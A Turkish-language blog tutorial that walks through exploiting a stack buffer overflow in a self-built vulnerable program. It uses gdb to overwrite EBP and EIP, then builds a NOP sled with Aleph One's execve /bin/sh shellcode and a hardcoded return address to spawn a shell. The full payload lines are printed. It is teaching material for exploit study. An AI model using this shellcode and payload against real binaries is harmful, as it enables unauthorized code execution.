Buffer Overflow Zaafiyetini İstismar Etmek

Burak Tahtacı
5 min readFeb 1, 2021

--

Bu yazıda bir programda buffer overflow zaafiyetine sebep olabilecek bir durum var mı ve olası bir buffer overflow zaafiyetinin nasıl istismar edileceği anlatılacaktır. Siz de bu yazı kapsamındaki adımları denemek istiyorsanız hedef sisteminizi seçin, eğer böyle bir hedef uygulamanız yoksa da nasıl geliştirebileceğinizi öğrenmek için aşağıdaki yazıya bir göz atın.

Evet artık elinizde buffer overflow zaafiyetine sebebiyet verecek bir program mevcut şimdi bu programdaki zaafiyeti nasıl tespit edip nasıl sömüreceğimiz konusuna geçelim. Öncelikle programı olması gerektiği gibi çalıştıralım ve gerçekten çalıştığını görelim.

./target parametrem
parametrem

Görüldüğü üzere programın girdi noktası komut satırı parametreleri ve yukarıda parametrem olarak yazdığım değer aslında. Şimdi bu değeri biraz daha değiştirerek programın uç noktalarını test edelim. Yani buraya böyle küçük bir string değil de 256 karakterden oluşan bir string versek ne olacak bunu görelim.

./target1 $(python3 -c "print('A'*256)")

BUMM! Segmantation fault hatası aldık, yani yazdığımız 256 tane A karakteri buffer’a sığmayıp taştı ve bize ekranda görünen hatayı verdi. Daha detaylı incelemek adına programı bir debugger yardımıyla çalıştıralım ve memory’de ve register’larda neler döndüğüne yakından bakalım. Aşağıdaki komutla debugger’ı çalıştırabiliriz.

gdb ./target1

Debugger çalıştıktan sonra programı tekrar crash edecek payload’la birlikte çalıştıralım.

(gdb) run $(python3 -c 'print("A"*256)')

Program beklediğimiz gibi tekrardan crash oldu, işte tam bu anda register’ların ve memory’nin durumlarını kontrol edelim. Başarılı bir buffer overflow saldırısı yapabilmek için EBP(Base Pointer) ve EIP(Instruction Pointer) registerlarını kontrol edebilmemiz gerekli. Yani yazdığımız payload’ın o register değerlerini değiştirdiğini teyit etmeliyiz. Bunun için gdb’deki info registers komutunu kullanmalıyız.

(gdb) info registers

A karakterinin hex karşılığı 0x41 değeridir. Ekran görüntüsündeki EBP ve EIP register değerlerine baktığımızda başarılı bir şekilde onları ezdiğimizi görebiliyoruz. Yani biz bu iki register’a istediğimiz değerleri yazabiliriz. Bu iki değeri değiştirmek zaten programın akışını da kontrol etmek demektir.

Şimdi sıra geldi payload’ımızı hazırlamaya. Öyle bir girdi değeri ayarlamamız lazım ki bu girdi, EBP ve EIP register’larını kontrol etsin ve programı istediğimiz yere dallandırsın ve program gittiği yerde bizim isteğimize göre bir program çalıştırsın, örneğin gittiği yerde shell programını çalıştırsın. İşte bu tarzda olan kod parçacıklarına shellcode denmektedir. Bu örnekte kullanacağımız shellcode Aleph One tarafından yazılmış olan shellcodetur.

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"

Bu kod aslında derlenmiş bir assembly programıdır ve çalıştırıldığında /bin/sh programını çalıştırır. Şimdiki hedefimiz bu kod parçasını girdi değerimizin içine koyup programın bu kod parçasına dallanmasını sağlamak olacak. Yani az önce de bahsettiğimiz gibi programın akışını bu kod çalışacak şekilde manipüle edeceğiz.

Shellcode’u yerleştirdiğimiz yerin sağına ve soluna NOP (No Operation) komutu yerleştiriyoruz ki dönüş yaptığımız yer eğer NOP’a denk gelirse NOP NOP NOP silsilesinde Shellcode’a ulaşsın. Bu kavrama NOP Slide denir. NOP Slide + Shellcode kısmını tamamladık. Şimdi sıra EBP ve EIP’nin dönüş yapacağı adresleri belirlemekte;

256 Karakter “A” + 4 Karakter “B” + 4 Karakter “C” şeklinde bir payload hazırlayıp programı çalıştırdığımızda hafızanın ve register’ların durumlarını inceleyelim.

(gdb) run $(python3 -c 'print("A"*256+"B"*4+"C"*4)'

Hafızanın durumunu kontrol etmek için aşağıdaki komutu çalıştırabiliriz.

(gdb) x/100x $sp-200

Şimdi de register’ları kontrol edelim.

(gdb) info registers

Görüldüğü üzere EIP ve EBP registerlarına “B” (0x42) ve “C” (0x43) karakterlerini yazabilmişiz. Yani programın kontrolü artık tamamen elimizde tek yapmamız gereken buradaki EIP ve EBP registerlarını shell kodumuza yönlendirmek.

(gdb) run $(python2.7 -c 'print "\x90"*199+"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"+"E"*20')

0x45 olarak atanmış yerler aslında bizim registerlarımıza etki eden bellek alanları ifade etmektedir. Şimdi 0x90, yani NOP instruction’unun bulunduğu bir adresi bu registerlara atamamız lazım

Ancak burada önemli bir nokta var, burada alacağımız adresi ters sırada yazmamız gerekli. Yani örnek verecek olursak; bfffff3ec adresini ecf3fffffb olacak şekilde yazmamız gerekli. Çünkü payload’u yazma yönümüzle memory okuma yönümüz birbirlerinin zıttıdır.

Son olarak payloadımızı aşağıdaki gibi düzenlersek başarılı bir buffer overflow saldırısı için tüm koşullar hazır olacaktır.

(gdb)run $(python2.7 -c 'print "\x90"*199+"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"+"\xec\xf3\xff\xbf"*5')

Payloadı verip programı çalıştırdığımızda görüyoruz ki /bin/dash adında bir shell interpreteri açılıyor ve bu shell uygulaması who gibi ls gibi komutlara cevap verebiliyor. Dolayısıyla programa parametre olarak yukarıdaki input verildiğinde bir shell açılmış oluyor.

Buffer Overflow zaafiyeti kullanılarak bir uygulama içerisinden nasıl shell açacağımızı detaylıca incelemiş olduk, daha detaylı araştırma yapmak isterseniz benim de faydalandığım aşağıdaki kaynakları okumanızı şiddetle tavsiye ederim.

https://blog.rapid7.com/2019/02/19/stack-based-buffer-overflow-attacks-what-you-need-to-know/

--

--

Burak Tahtacı
Burak Tahtacı

Written by Burak Tahtacı

TA1KNT / Computer Engineer / RC Hobbyist / Data Science and Machine Learning Lover also interested in Information Security

No responses yet